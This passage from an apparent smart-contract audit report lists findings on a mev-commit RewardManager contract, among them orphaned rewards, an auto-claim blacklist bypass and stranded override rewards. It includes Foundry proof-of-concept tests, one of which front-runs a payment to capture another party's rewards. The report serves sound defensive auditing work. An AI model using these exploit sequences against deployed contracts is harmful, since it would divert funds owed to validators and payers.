            86400, // slashPeriodSeconds (24 hours)
            address(0x111), // slashOracle
            address(0x222), // slashReceiver
            172800, // minBurnerRouterDelay (48 hours)
            owner
        )
    );

    // Step 3: Deploy ERC1967Proxy for MevCommitMiddleware
    ERC1967Proxy mevCommitMiddlewareProxy = new ERC1967Proxy(address(mevCommitMiddlewareImpl),
    ↪  mevCommitMiddlewareInitData);
    mevCommitMiddleware = MevCommitMiddleware(payable(address(mevCommitMiddlewareProxy)));

    // Step 1: Deploy the implementation contract
    implementation = new RewardManager();

    // Step 2: Prepare initialization data
    bytes memory initData = abi.encodeCall(RewardManager.initialize, (
        address(vanillaRegistry),
        address(mevCommitAVS),
        address(mevCommitMiddleware),
        AUTO_CLAIM_GAS_LIMIT,
        owner
    ));

    // Step 3: Deploy ERC1967Proxy manually
    ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), initData);
    rewardManagerProxy = address(proxy);
    rewardManager = RewardManager(payable(rewardManagerProxy));


    // Give accounts some ETH
    vm.deal(attacker, 10 ether);
    vm.deal(provider, 10 ether);
    vm.deal(victim, 1 ether);
}

function testFrontRunAttack() public {
    // Use a different pubkey that's not registered anywhere (48 bytes = 96 hex chars)
    bytes memory unregisteredPubkey = hex"a61a6e5f09217278efc7ddad4dc4b0553b2c076d4a5fef6509c233a6531c9914
    ↪  6347193467e84eb5ca921af1b8254b3e";

    // Check initial orphaned rewards
    uint256 initialOrphanedRewards = rewardManager.orphanedRewards(unregisteredPubkey);
    assertEq(initialOrphanedRewards, 0, "Initial orphaned rewards should be 0");

    // Provider intends to pay rewards to this pubkey (but it's unregistered)
    // This would normally result in orphaned rewards
    uint256 paymentAmount = 1 ether;

    // First, demonstrate normal behavior without front-running
    vm.prank(provider);
    rewardManager.payProposer{value: paymentAmount}(unregisteredPubkey);

    // Verify rewards are orphaned
    uint256 orphanedRewards = rewardManager.orphanedRewards(unregisteredPubkey);
    assertEq(orphanedRewards, paymentAmount, "Rewards should be orphaned when no receiver found");

    // Now demonstrate the attack:
    // Attacker sees the provider's transaction in mempool and front-runs by registering the pubkey
    // Attacker registers the pubkey in VanillaRegistry with their address as withdrawal address
    bytes[] memory pubkeys = new bytes[](1);
    pubkeys[0] = unregisteredPubkey;

    uint256 minStake = vanillaRegistry.minStake();
    vm.prank(attacker);
    vm.deal(attacker, minStake + 10 ether);
    vanillaRegistry.stake{value: minStake}(pubkeys);

    // Verify attacker is now the withdrawal address for this pubkey
    (bool exists, address withdrawalAddr,,) = vanillaRegistry.stakedValidators(unregisteredPubkey);
    assertTrue(exists, "Validator should exist after staking");
    assertEq(withdrawalAddr, attacker, "Attacker should be the withdrawal address");
```

```
        // Check attacker's initial unclaimed rewards
        uint256 attackerInitialRewards = rewardManager.unclaimedRewards(attacker);

        // Now provider sends another payment (this simulates the original transaction executing after
        ↪  front-run)
        uint256 secondPayment = 0.5 ether;
        vm.prank(provider);
        rewardManager.payProposer{value: secondPayment}(unregisteredPubkey);

        // Verify the rewards go to the attacker instead of being orphaned
        uint256 attackerFinalRewards = rewardManager.unclaimedRewards(attacker);
        assertEq(attackerFinalRewards, attackerInitialRewards + secondPayment, "Attacker should receive the
        ↪  rewards");

        // Verify orphaned rewards didn't increase
        uint256 finalOrphanedRewards = rewardManager.orphanedRewards(unregisteredPubkey);
        assertEq(finalOrphanedRewards, orphanedRewards, "Orphaned rewards should not increase after front-run");

        // Attacker can now claim the stolen rewards
        uint256 attackerBalanceBefore = attacker.balance;
        vm.prank(attacker);
        rewardManager.claimRewards();

        uint256 attackerBalanceAfter = attacker.balance;
        assertEq(attackerBalanceAfter, attackerBalanceBefore + secondPayment, "Attacker should receive the
        ↪  stolen rewards");

        console.log("Attack successful!");
    }
}

// Mock contracts needed for initializing MevCommitAVS and MevCommitMiddleware
contract MockDelegationManager {
    function registerOperatorToAVS(address, bytes calldata) external pure returns (bytes32) {
        return bytes32(0);
    }
}

contract MockEigenPodManager {}

contract MockStrategyManager {}

contract MockRegistry {
    function register() external {}
    function isEntity(address) external pure returns (bool) {
        return true;
    }
}
```

Recommendation: Can't think of any..., orphaned rewards will always be 0 mostly.

3.2.3 Rewards will be orphaned if a pubkey is deregistered

Submitted by phil, also found by 0xgh0st

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: When `RewardManager::payProposer()` is called, `_findReceiver()` queries what address registered that pubkey on the validator registries. The pubkey might have been active when the work corresponding to the reward payment was done - but if the pubkey is deregistered before `payProposer()` is called, the rewards will be orphaned and the proposer might lose them permanently.

Finding Description:

```
function payProposer(bytes calldata pubkey) external payable onlyValidBLSPubKey(pubkey) nonReentrant { //
↪  Intentionally don't allow pausing.
    require(msg.value != 0, NoEthPayable());
    address receiver = _findReceiver(pubkey); // <<<@1
    if (receiver == address(0)) {
        orphanedRewards[pubkey] += msg.value; // <<<@3
        emit OrphanedRewardsAccumulated(msg.sender, pubkey, msg.value);
        return;
    }
    // ...
```

```
function _findReceiver(bytes calldata pubkey) internal view returns (address) {
    (,address operatorAddr,bool existsMiddleware,) = _mevCommitMiddleware.validatorRecords(pubkey); // <<<@1
    if (existsMiddleware && operatorAddr != address(0)) {
        return operatorAddr;
    }
    (bool existsVanilla,address vanillaWithdrawalAddr,,) = _vanillaRegistry.stakedValidators(pubkey); // <<<@1
    if (existsVanilla && vanillaWithdrawalAddr != address(0)) {
        return vanillaWithdrawalAddr;
    }
    (bool existsAvs,address podOwner,,) = _mevCommitAVS.validatorRegistrations(pubkey); // <<<@1
    if (existsAvs && podOwner != address(0)) {
        return podOwner;
    }
    return address(0); // <<<@2
}
```

- `@1`: When `payProposer()` is called, `_findReceiver()` tries to fetch what is the receiver address for that pubkey, by querying the pubkey on the 3 validator registries.
- `@2`: If no match is found, the function returns `address(0)`.
- `@3`: Then, the rewards are accepted as `orphanedRewards`, which, according to the readme, can be permanently lost, as these are only handled by the owner:

  > Further, the owner account is in no way obligated to redistribute orphaned rewards.

  The problem is that the pubkey:

  - Might have been registered to one of the registries by the time the proposer did the work that is now being rewarded;
  - Might be removed between the moment the work was performed and the payment is sent.

This is plausible, given the payments are backwards looking, i.e. first the proposer performs some work (i.e. include txns in a block); and only after verifying that, the payer pays the proposer. So if the proposer's pubkey was deregistered from its registry before the payment is made, the payment might be permanently lost.

Impact Explanation: High: loss of funds for the proposer and for the payer (since their payment will not go to the intended receiver, it can be considered lost).

Likelihood Explanation: Low: the validator pubkey must be deregistered in a short timeframe.

Note: Even though it's the caller's responsibility to check if the pubkey is registered before calling `payProposer()`, it might happen that a deregistration txn is executed before `payProposer()`.

Recommendation: Add a `bool revertIfOrphaned` param to `RewardManager::payProposer()`:

```
+ function payProposer(bytes calldata pubkey, bool revertIfOrphaned) external payable
↪  onlyValidBLSPubKey(pubkey) nonReentrant { // Intentionally don't allow pausing.
- function payProposer(bytes calldata pubkey) external payable onlyValidBLSPubKey(pubkey) nonReentrant { //
↪  Intentionally don't allow pausing.
      require(msg.value != 0, NoEthPayable());
      address receiver = _findReceiver(pubkey);
      if (receiver == address(0)) {
+         if (revertIfOrphaned) {
+             revert Errors.OrphanedRewards();
+         }
          orphanedRewards[pubkey] += msg.value;
          emit OrphanedRewardsAccumulated(msg.sender, pubkey, msg.value);
          return;
      }
      // ...
```

On `Errors.sol`:

```
+ /// @dev Custom error for invalid orphaned rewards.
+ error OrphanedRewards();
```

3.2.4 AutoClaim call can use more gas than `gasLimit`

Submitted by BengalCatBalu, also found by astroboy

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: When sending awards from the `payProposer` function contract use gasLimit to to limit the amount of gas consumed by the person who calls `payProposer`:

```
(bool success, ) = payable(toPay).call{value: msg.value, gas: autoClaimGasLimit}("");
```

However In the following case `.call` copies the entire return data to memory even if it isn't used. Since this leads to memory expansion costs, this call may use significantly more gas than just the `gasLimit` value. Although data isn't supposed to be returned in this call, it may be done intentionally by an receiver to grief the call.

Remediation: Use or copy `call()` fn from `SafeCall.sol` which doesn't do any operation related to copying return data saving gas.

3.2.5 `AutoClaimBlacklist` can be bypassed by unstaking and staking back

Submitted by Joshuajee

Severity: Low Risk

Context: RewardManager.sol#L72

Finding Description: When transfers fail, the address is added to the `autoClaimBlacklist` and can only be removed by the admin. However, the address that is associated with a particular public key can change through unstaking and staking back with a different address.

```
function payProposer(bytes calldata pubkey) external payable onlyValidBLSPubKey(pubkey) nonReentrant { //
↪  Intentionally don't allow pausing.
    require(msg.value != 0, NoEthPayable());
    address receiver = _findReceiver(pubkey); // <<<
    if (receiver == address(0)) {
        orphanedRewards[pubkey] += msg.value;
        emit OrphanedRewardsAccumulated(msg.sender, pubkey, msg.value);
        return;
    }
    address toPay = receiver;
    address overrideAddr = overrideAddresses[receiver];
    if (overrideAddr != address(0)) {
        toPay = overrideAddr;
    }
    if (autoClaim[receiver] && !autoClaimBlacklist[receiver]) { // <<<
        (bool success, ) = payable(toPay).call{value: msg.value, gas: autoClaimGasLimit}("");
        if (!success) {
            autoClaim[receiver] = false;
            autoClaimBlacklist[receiver] = true;
            unclaimedRewards[toPay] += msg.value;
            emit AutoClaimTransferFailed(msg.sender, receiver, toPay);
            return;
        }
        emit AutoClaimed(msg.sender, receiver, toPay, msg.value);
    } else {
        unclaimedRewards[toPay] += msg.value;
        emit PaymentStored(msg.sender, receiver, toPay, msg.value);
    }
}
```

Impact Explanation: The whole black listing process is bypassed.

Likelihood Explanation: Medium users have to unstake and withdraw to achieve this.

Proof of Concept: Add the following test to the `test/validator-registry/rewards/RewardManagerTest.sol` file. In the test below after being blacklisted the user unstaked and then staked back, by doing this they have by passed the blacklisting feature.

```
function testPoc2() public {

    address initialStaker = address(new CanRevert());
    address finalStaker = address(0x8888);

    bytes memory vanillaTestUserPubkey = vanillaRegistryTest.user1BLSKey();

    vm.deal(initialStaker, 10 ether);
    vm.deal(finalStaker, 10 ether);
    vm.deal(user2, 10 ether);

    bytes[] memory validators = new bytes[](1);
    validators[0] = vanillaRegistryTest.user1BLSKey();

    vm.startPrank(initialStaker);
    vanillaRegistry.stake{value: 10 ether}(validators);

    // Set AutoClaim;
    rewardManager.enableAutoClaim(true);

    console2.log("Is Blacklisted 1       : ", rewardManager.autoClaimBlacklist(initialStaker));

    vm.startPrank(user2);
    rewardManager.payProposer{value: 5 ether}(vanillaTestUserPubkey);

    console2.log("Is Blacklisted 2       : ", rewardManager.autoClaimBlacklist(initialStaker));

    //Unstake balance
    vm.startPrank(initialStaker);
    vanillaRegistry.unstake(validators);
    vm.roll(block.number + vanillaRegistry.unstakePeriodBlocks() + 1); // warp to unstake period
    CanRevert(payable(initialStaker)).setRevertOnReceive(false); // allow receiving funds
    vanillaRegistry.withdraw(validators);
    vm.stopPrank();

    vm.startPrank(finalStaker);
    vanillaRegistry.stake{value: 10 ether}(validators);
```

```
    // Set AutoClaim;
    rewardManager.enableAutoClaim(true);

    console2.log("Is Blacklisted 3       : ", rewardManager.autoClaimBlacklist(finalStaker));
    console2.log("Final Staker Balance 1 : ", finalStaker.balance);

    vm.startPrank(user2);
    rewardManager.payProposer{value: 5 ether}(vanillaTestUserPubkey);

    console2.log("Final Staker Balance 2 : ", finalStaker.balance);

}
```

Output:

```
Ran 1 test for test/validator-registry/rewards/RewardManagerTest.sol:RewardManagerTest
[PASS] testPoc2() (gas: 629005)
Logs:
  Is Blacklisted 1       :  false
  Is Blacklisted 2       :  true
  Is Blacklisted 3       :  false
  Final Staker Balance 1 :  0
  Final Staker Balance 2 :  5000000000000000000
```

Recommendation: Black listing should include the validator public key.

3.3 Informational

3.3.1 `_claimRewards` Fails to Process Rewards in `enableAutoClaim`

Submitted by Nexarion, also found by heeze, 0xJi and ADM

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: The `enableAutoClaim` function fails to claim existing rewards for a user if that user has an override address set. This is because the internal `_claimRewards` function incorrectly attempts to claim rewards from `msg.sender`, which is the Receiver's direct account.

Finding Description: When a user calls `enableAutoClaim`, the contract intends to first claim any existing rewards for that user and then enable the auto-claim. The claiming of existing rewards is handled by the internal `_claimRewards()` function.

```
function enableAutoClaim(bool claimExistingRewards) external whenNotPaused nonReentrant {
    if (claimExistingRewards) { _claimRewards(); }
    autoClaim[msg.sender] = true;
    emit AutoClaimEnabled(msg.sender);
}
```

The `_claimRewards()` function, in its current implementation (as per the provided context), uses `msg.sender` to identify the account holding the rewards `unclaimedRewards[msg.sender]` and the recipient of these rewards `(payable(msg.sender))`.

```
function _claimRewards() internal {
    uint256 amount = unclaimedRewards[msg.sender];
    if (amount == 0) {
        emit NoRewards(msg.sender);
        return;
    }
    unclaimedRewards[msg.sender] = 0;
    (bool success, ) = payable(msg.sender).call{value: amount}("");
    require(success, RewardsClaimFailed());
    emit RewardsClaimed(msg.sender, amount);
}
```

However, if the `msg.sender` (the original receiver) has previously set an `overrideAddress` using the `overrideReceiver()` function, their rewards from `payProposer` calls are stored in `unclaimedRewards[overrideAddress]`, not `unclaimedRewards[Receiver]` as shown below:

```
//rest of the code
address toPay = receiver;
    address overrideAddr = overrideAddresses[receiver];
    if (overrideAddr != address(0)) {
        toPay = overrideAddr;
    }
    if (autoClaim[receiver] && !autoClaimBlacklist[receiver]) {
        (bool success, ) = payable(toPay).call{value: msg.value, gas: autoClaimGasLimit}("");
        if (!success) {
            autoClaim[receiver] = false;
            autoClaimBlacklist[receiver] = true;
            unclaimedRewards[toPay] += msg.value;
            emit AutoClaimTransferFailed(msg.sender, receiver, toPay);
            return;
        }
        emit AutoClaimed(msg.sender, receiver, toPay, msg.value);
    } else {
        unclaimedRewards[toPay] += msg.value;
        emit PaymentStored(msg.sender, receiver, toPay, msg.value);
    }
}
```

Consequently, when `_claimRewards()` is called:

1. It checks `unclaimedRewards[msg.sender]`.
2. If all rewards for `msg.sender` are actually at overrideAddress (e.g., they were migrated or all payments occurred after the override was set), `unclaimedRewards[msg.sender]` will be zero.
3. The function then emits `NoRewards(msg.sender)` and returns, failing to claim the actual rewards held at `unclaimedRewards[overrideAddress]`.

This breaks the security guarantee that `enableAutoClaim` will "atomically claim existing rewards" for the caller, as the rewards are not claimed if an override is active and rewards reside there. A user enabling auto-claim with the `claimExistingRewards` flag set to true would expect all their pending rewards, including those directed to an override address they configured, to be claimed.

Impact Explanation: The impact is assessed as Medium. While no funds are directly lost or stolen, a core functionality of the contract (`enableAutoClaim` with `claimExistingRewards`) does not behave as a user would reasonably expect when an override address is in use.

Likelihood Explanation: The likelihood is assessed as Medium. This issue will occur every time a user who:

1. Has set an `overrideAddress`.
2. Has rewards accumulated at that `overrideAddress` (and potentially zero at their original address).
3. Calls `enableAutoClaim(true)`.

Proof of Concept: Add this test:

```
function testEnableAutoClaimWithOverride_POC_OriginalBehavior() public {
    // 1. Setup: vanillaTestUser is a registered validator (receiver)
    vanillaRegistryTest.testSelfStake();
    address vanillaTestUser = vanillaRegistryTest.user1(); // This is our receiver
    bytes memory vanillaTestUserPubkey = vanillaRegistryTest.user1BLSKey();

    address overrideUser = user4; // user4 will be the override address
    deal(overrideUser, 0); // Ensure overrideUser starts with 0 balance for clarity

    // 2. vanillaTestUser sets overrideUser as the overrideAddress, without migrating rewards.
    vm.startPrank(vanillaTestUser);
    vm.expectEmit(true, true, false, true); // Checking indexed receiver, indexed overrideAddress
    emit OverrideAddressSet(vanillaTestUser, overrideUser);
    rewardManager.overrideReceiver(overrideUser, false); // migrateExistingRewards = false
    vm.stopPrank();

    // 3. Pay rewards for vanillaTestUser's pubkey.
    // These rewards should be stored under unclaimedRewards[overrideUser].
    uint256 rewardAmount = 5 ether;
    address payer = user2;
    vm.deal(payer, rewardAmount);
```

```
    vm.startPrank(payer);
    vm.expectEmit(true, true, true, false); // Checking indexed provider, receiver, toPay
    // The payment is for vanillaTestUser (receiver), but will be stored for overrideUser (toPay)
    emit PaymentStored(payer, vanillaTestUser, overrideUser, rewardAmount);
    rewardManager.payProposer{value: rewardAmount}(vanillaTestUserPubkey);
    vm.stopPrank();

    // 4. Verify initial state of rewards
    assertEq(rewardManager.unclaimedRewards(vanillaTestUser), 0, "vanillaTestUser should have 0 unclaimed
    ↪  rewards directly");
    assertEq(rewardManager.unclaimedRewards(overrideUser), rewardAmount, "overrideUser should have the
    ↪  rewards");
    assertEq(overrideUser.balance, 0, "overrideUser balance should be 0 before any claim attempt by
    ↪  vanillaTestUser");
    assertFalse(rewardManager.autoClaim(vanillaTestUser), "AutoClaim for vanillaTestUser should be initially
    ↪  false");

    // 5. vanillaTestUser enables auto-claim, requesting to claim existing rewards.
    // With the original _claimRewards, it checks unclaimedRewards[msg.sender] (vanillaTestUser), which is 0.
    vm.startPrank(vanillaTestUser);

    // Expect NoRewards for vanillaTestUser because _claimRewards looks at unclaimedRewards[vanillaTestUser]
    vm.expectEmit(true, false, false, true); // Checking indexed who
    emit IRewardManager.NoRewards(vanillaTestUser);

    // Expect AutoClaimEnabled for vanillaTestUser
    vm.expectEmit(true, false, false, true); // Checking indexed caller
    emit AutoClaimEnabled(vanillaTestUser);

    rewardManager.enableAutoClaim(true); // claimExistingRewards = true
    vm.stopPrank();

    // 6. Assertions to prove the described behavior:
    // - autoClaim for vanillaTestUser should now be true.
    assertTrue(rewardManager.autoClaim(vanillaTestUser), "AutoClaim for vanillaTestUser should be enabled");
    // - Rewards at overrideUser should NOT have been claimed by vanillaTestUser's enableAutoClaim call.
    assertEq(rewardManager.unclaimedRewards(overrideUser), rewardAmount, "Rewards at overrideUser should remain
    ↪  unclaimed");
    assertEq(overrideUser.balance, 0, "overrideUser balance should still be 0 as rewards were not claimed by
    ↪  vanillaTestUser's action");
    // - No rewards should be at vanillaTestUser's direct account.
    assertEq(rewardManager.unclaimedRewards(vanillaTestUser), 0, "vanillaTestUser should still have 0 unclaimed
    ↪  rewards directly");

    // 7. For completeness: Show overrideUser can still claim their rewards manually.
    // This demonstrates the rewards are still there, just not claimed by enableAutoClaim.
    uint256 overrideUserBalanceBeforeManualClaim = overrideUser.balance;
    vm.startPrank(overrideUser);
    vm.expectEmit(true, false, false, true); // Checking indexed toPay
    emit RewardsClaimed(overrideUser, rewardAmount);
    rewardManager.claimRewards(); // overrideUser claims their own rewards
    vm.stopPrank();

    assertEq(overrideUser.balance, overrideUserBalanceBeforeManualClaim + rewardAmount, "overrideUser should
    ↪  have successfully claimed their rewards");
    assertEq(rewardManager.unclaimedRewards(overrideUser), 0, "Rewards at overrideUser should now be 0 after
    ↪  their manual claim");
}
```

Recommendation: If it is intended that the receiver automatically claims their reward when the function `enableAutoClaim` is called. You can create another internal function similar to `_claimRewards` but works for only the function `enableAutoclaim`.

3.3.2 Insufficient opt-In validation in `_findReceiver` function

Submitted by SpicyMeatball, also found by chupinexx, radeveth, IronsideSec, j0xbear, rmdanxyz, BengalCatBalu, farismaulana, Sabit and Sabit

Severity: Informational

Context: RewardManager.sol?lines=233,247, MevCommitMiddleware.sol?lines=855,855, VanillaRegistry.sol?lines=403,403, MevCommitAVS.sol?lines=594,594

Description: As noted in the comment within the `_findReceiver` function, the `RewardManager` attempts

to determine the appropriate receiver for an opted-in validator's pubkey by querying three registries:

```
/// @dev Finds the receiver address for a given validator pubkey,
/// corresponding to state that'd exist in each type of registry if the pubkey were opted-in through that
↪  registry.
/// @notice Zero address is returned if the pubkey is not opted-in to mev-commit.
```

The implementation checks only whether the registry entry exists and that the associated address is not the zero address:

```
(,address operatorAddr,bool existsMiddleware,) = _mevCommitMiddleware.validatorRecords(pubkey);
if (existsMiddleware && operatorAddr != address(0)) {
    return operatorAddr;
}
(bool existsVanilla,address vanillaWithdrawalAddr,,) = _vanillaRegistry.stakedValidators(pubkey);
if (existsVanilla && vanillaWithdrawalAddr != address(0)) {
    return vanillaWithdrawalAddr;
}
(bool existsAvs,address podOwner,,) = _mevCommitAVS.validatorRegistrations(pubkey);
if (existsAvs && podOwner != address(0)) {
    return podOwner;
}
```

However, each registry defines its own function to explicitly determine whether a validator is actually opted in, which includes multiple additional conditions:

- `MevCommitMiddleware`: Conditions:
  - All related entities (validator, vault, operator) exist and are active.
  - None of them have deregistration requests.
  - The operator is not blacklisted.
  - Both the validator and vault pass additional validation logic (e.g., slashing eligibility and burner-operator validation).
- `VanillaRegistry`: Conditions:
  - Not unstaking.
  - Has at least `minStake` amount in it's balance (could go below minStake due to slashing).
- `MevCommitAVS`: Conditions:
  - The validator is registered, not frozen, and has not deregistered.
  - The validator has an active `EigenPod`.
  - The validator's EigenPod is delegated to a registered operator.
  - That operator has not submitted a deregistration request.

Proof of Concept: Check the following test case in `RewardManagerTest.sol`:

```
function testAudit2() public {
    // 1. PUBKEY HAS A STAKE IN THE VANILLA REGISTRY
    vanillaRegistryTest.testSelfStake();
    address vanillaTestUser = vanillaRegistryTest.user1();
    bytes memory vanillaTestUserPubkey = vanillaRegistryTest.user1BLSKey();
    console2.log("STAKED AMOUNT: ", vanillaRegistry.getStakedAmount(vanillaTestUserPubkey));

    bytes[] memory validators = new bytes[](1);
    validators[0] = vanillaTestUserPubkey;
    vm.prank(vanillaRegistry.slashOracle());
    vanillaRegistry.slash(validators, true);

    // 2. AFTER SLASHING EVENT IT HAS ZERO STAKE
    console2.log("STAKED AMOUNT: ", vanillaRegistry.getStakedAmount(vanillaTestUserPubkey));

    vm.deal(user2, 4 ether);
    vm.prank(user2);
    rewardManager.payProposer{value: 4 ether}(vanillaTestUserPubkey);

    // 3. HOWEVER FROM THE REWARD MANAGER PERSPECTIVE IT IS STILL CONSIDERED OPTED-IN
    console2.log("UNCLAIMED USER 1: ", rewardManager.unclaimedRewards(user1));
}
```

In this test, a validator pubkey is slashed in the `VanillaRegistry`, reducing its stake to zero. Despite this, the `RewardManager` still considers the validator opted-in and allows rewards to be paid to it. This contradicts the intended logic in the `VanillaRegistry`, where a validator is only considered opted-in if it:

```
/// @dev Internal function to check if a validator is considered "opted-in" to mev-commit via this registry.
function _isValidatorOptedIn(bytes calldata valBLSPubKey) internal view returns (bool) {
    return !_isUnstaking(valBLSPubKey) && stakedValidators[valBLSPubKey].balance >= minStake;
}
```

According to this function, the validator must not be unstaking and must have at least `minStake` to be considered opted-in—conditions which are not enforced by the `RewardManager` in this scenario.

Recommendation: It is recommended to call the respective registry's `isValidatorOptedIn` function in addition to the `address(0)` check when determining if a validator is opted-in. This ensures that all registry-specific eligibility criteria are met, not just that an address is present.

3.3.3 Unclaimed Rewards Stranded When Changing Override Addresses

Submitted by HeckerTrieuTien, also found by BratZ, 0x4nud33p, BengalCatBalu and deeney

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: The `overrideReceiver` function fails to migrate rewards from previous override addresses when changing to a new override address, resulting in permanently stranded funds.

Finding Description: In the `RewardManager` contract, when a user calls `overrideReceiver` with `migrateExistingRewards=true` to change from an existing override address to a new one, only rewards from the user's direct address (`msg.sender`) are migrated to the new override address. The function doesn't migrate rewards accumulated at the previous override address. The vulnerability exists in the following code in `RewardManager.sol`:

```
function overrideReceiver(address overrideAddress, bool migrateExistingRewards) external whenNotPaused
↪   nonReentrant {
    if (migrateExistingRewards) { _migrateRewards(msg.sender, overrideAddress); }
    require(overrideAddress != address(0) && overrideAddress != msg.sender, InvalidAddress());
    overrideAddresses[msg.sender] = overrideAddress;
    emit OverrideAddressSet(msg.sender, overrideAddress);
}
```

The `_migrateRewards` function only transfers rewards from `from` to `to` without considering previously set override addresses:

```
function _migrateRewards(address from, address to) internal {
    uint256 amount = unclaimedRewards[from];
    if (amount == 0) {
        emit NoRewards(from);
        return;
    }
    unclaimedRewards[from] = 0;
    unclaimedRewards[to] += amount;
    emit RewardsMigrated(from, to, amount);
}
```

After `overrideAddresses[msg.sender]` is updated to the new override address, the user loses the ability to recover rewards stranded at the previous override address as `removeOverrideAddress` only migrates rewards from the current override.

Impact Explanation: Direct loss of user funds if the old override address is uncontrollable. The ether is neither returnable by the contract owner nor by the validator after the override change.

Likelihood Explanation: The likelihood is medium because:

1. This scenario requires a specific sequence of actions: setting an override address, accumulating rewards, then setting a new override address.
2. Most users would claim rewards before changing override addresses.
3. However, users might change override addresses for legitimate reasons (e.g., security concerns, key rotation) without realizing they need to claim rewards first.

Proof of Concept:

```
function testMigrationIssue() public {
    // Setup initial rewards for user1
    vm.prank(_user1);
    _demo.setupDemo{value: 0.4 ether}();

    // Verify initial balance
    assertEq(_demo.unclaimedRewards(_user1), 0.1 ether);

    // Step 1: User1 sets first override address
    vm.prank(_user1);
    _demo.overrideReceiver(_user2, false);

    // Verify override was set
    assertEq(_demo.overrideAddresses(_user1), _user2);

    // Step 2: Someone pays rewards to user1, which go to user2 (first override)
    vm.prank(address(this));
    _demo.simulatePayRewards{value: 0.6 ether}(_user1);

    // Verify rewards went to the first override address
    assertEq(_demo.unclaimedRewards(_user1), 0.1 ether);
    assertEq(_demo.unclaimedRewards(_user2), 0.6 ether);

    // Step 3: User1 changes override address WITH migration flag set to true
    vm.prank(_user1);
    _demo.overrideReceiver(_user3, true);

    // Verify new override was set
    assertEq(_demo.overrideAddresses(_user1), _user3);

    // ISSUE CONFIRMED: The funds in the first override address are NOT migrated
    assertEq(_demo.unclaimedRewards(_user1), 0 ether);         // User1 balance migrated
    assertEq(_demo.unclaimedRewards(_user2), 0.6 ether);       // First override balance NOT migrated
    assertEq(_demo.unclaimedRewards(_user3), 0.1 ether);       // Only user1's balance was moved

    // Step 4: More rewards come in
    vm.prank(address(this));
    _demo.simulatePayRewards{value: 0.3 ether}(_user1);

    // New rewards go to the second override
    assertEq(_demo.unclaimedRewards(_user3), 0.4 ether);  // 0.1 + 0.3 ether

    // Step 5: User1 tries to remove override to recover rewards
    vm.prank(_user1);
```

```
    _demo.removeOverrideAddress(true);

    // Verify override was removed
    assertEq(_demo.overrideAddresses(_user1), address(0));

    // Verify that only the current override (user3) rewards were migrated back to user1
    assertEq(_demo.unclaimedRewards(_user1), 0.4 ether);       // Got back rewards from user3
    assertEq(_demo.unclaimedRewards(_user2), 0.6 ether);       // STILL STRANDED!
    assertEq(_demo.unclaimedRewards(_user3), 0 ether);         // User3 balance migrated to user1

    // User1 has no way to recover the stranded funds at the first override address
}
```

The test confirms the issue with clear assertions showing that 0.6 ETH remains stranded at the first override address.

Recommendation: Modify the `overrideReceiver` function to check for and migrate rewards from the previous override address:

```
function overrideReceiver(address overrideAddress, bool migrateExistingRewards) external whenNotPaused
↪  nonReentrant {
    address previousOverride = overrideAddresses[msg.sender];

    if (migrateExistingRewards) {
        // Migrate rewards from msg.sender to new override
        _migrateRewards(msg.sender, overrideAddress);

        // Also migrate rewards from previous override address if it exists
        if (previousOverride != address(0)) {
            _migrateRewards(previousOverride, overrideAddress);
        }
    }

    require(overrideAddress != address(0) && overrideAddress != msg.sender, InvalidAddress());
    overrideAddresses[msg.sender] = overrideAddress;
    emit OverrideAddressSet(msg.sender, overrideAddress);
}
```

This change ensures that when a user changes their override address with `migrateExistingRewards=true`, all rewards (including those at the previous override address) are migrated to the new override address, preventing any funds from becoming stranded.

3.3.4 Anyone can do dust `payProposer` calls to force trigger `autoClaimBlacklist` for receiver

Submitted by BengalCatBalu

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: As you can see - anyone can call `payProposer`, even with minimum reward value = 1 Wei.

```
/// @dev Allows providers to pay the opted-in proposer for a block.
/// @notice It is assumed the validator pubkey being paid is opted-in to mev-commit.
/// Otherwise the rewards are accumulated as "orphaned" and must be handled by the owner.
function payProposer(bytes calldata pubkey) external payable onlyValidBLSPubKey(pubkey) nonReentrant { //
↪  Intentionally don't allow pausing.
    require(msg.value != 0, NoEthPayable());
    address receiver = _findReceiver(pubkey);
    if (receiver == address(0)) {
        orphanedRewards[pubkey] += msg.value;
        emit OrphanedRewardsAccumulated(msg.sender, pubkey, msg.value);
        return;
    }
    address toPay = receiver;
    address overrideAddr = overrideAddresses[receiver];
    if (overrideAddr != address(0)) {
        toPay = overrideAddr;
    }
    if (autoClaim[receiver] && !autoClaimBlacklist[receiver]) {
        (bool success, ) = payable(toPay).call{value: msg.value, gas: autoClaimGasLimit}("");
        if (!success) {
            autoClaim[receiver] = false;
            autoClaimBlacklist[receiver] = true;
            unclaimedRewards[toPay] += msg.value;
            emit AutoClaimTransferFailed(msg.sender, receiver, toPay);
            return;
        }
        emit AutoClaimed(msg.sender, receiver, toPay, msg.value);
    } else {
        unclaimedRewards[toPay] += msg.value;
        emit PaymentStored(msg.sender, receiver, toPay, msg.value);
    }
}
```

Anyone can take advantage of this and force `autoClaimBlacklist` at a time when receiver can't accept rewards because of cases beyond his control. Yes, the out of scope section says it is the responsibility of the receiver not to revert when receiving awards - however there are edge cases where one or many receivers are briefly unable to receive an award. Let's look at a few of these situations:

1. The most obvious situation. Let's imagine that the contract was in pausable mode - in this mode receiver cannot override its ovveride receiver in any way.

   However, during pause mode - `gasLimit` can change. So, let's imagine that the validator's ovveride receiver was able to accept awards at first - but was configured for a specific `gasLimit` specified in the contract. Then the contract entered pause mode in which the validator cannot change the parameters for receiving awards, but the owner reduced the gasLimit. Now the receiver contract cannot receive awards because it is not configured to work with a lower `gasLimit`. Obviously, reducing `gasLimit` can affect multiple receivers.

   Now malicious actor can make 1 wei rewards txes and put all receivers in `autoClaimBlacklist`.

Impact Explanation: The potential impact here is the temporary disconnection of receivers from `autoClaim` functionality through no fault of their own.

Likelihood Explanation: As I have described, in order for this attack to occur, there must be certain conditions in which validators cannot receive rewards through no fault of their own. However, the cost of the attack is roughly equal to the cost of fixing it for owner.

Remediation: Add minimal reward amount.

3.3.5 `OrphanedRewards` may not be withdrawn from the contract if the withdrawal fee exceeds the amount to be withdrawn

Submitted by BengalCatBalu

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: Owner independently outputs `OrphanedRewards` using the call `claimOrphanedRewards`:

```
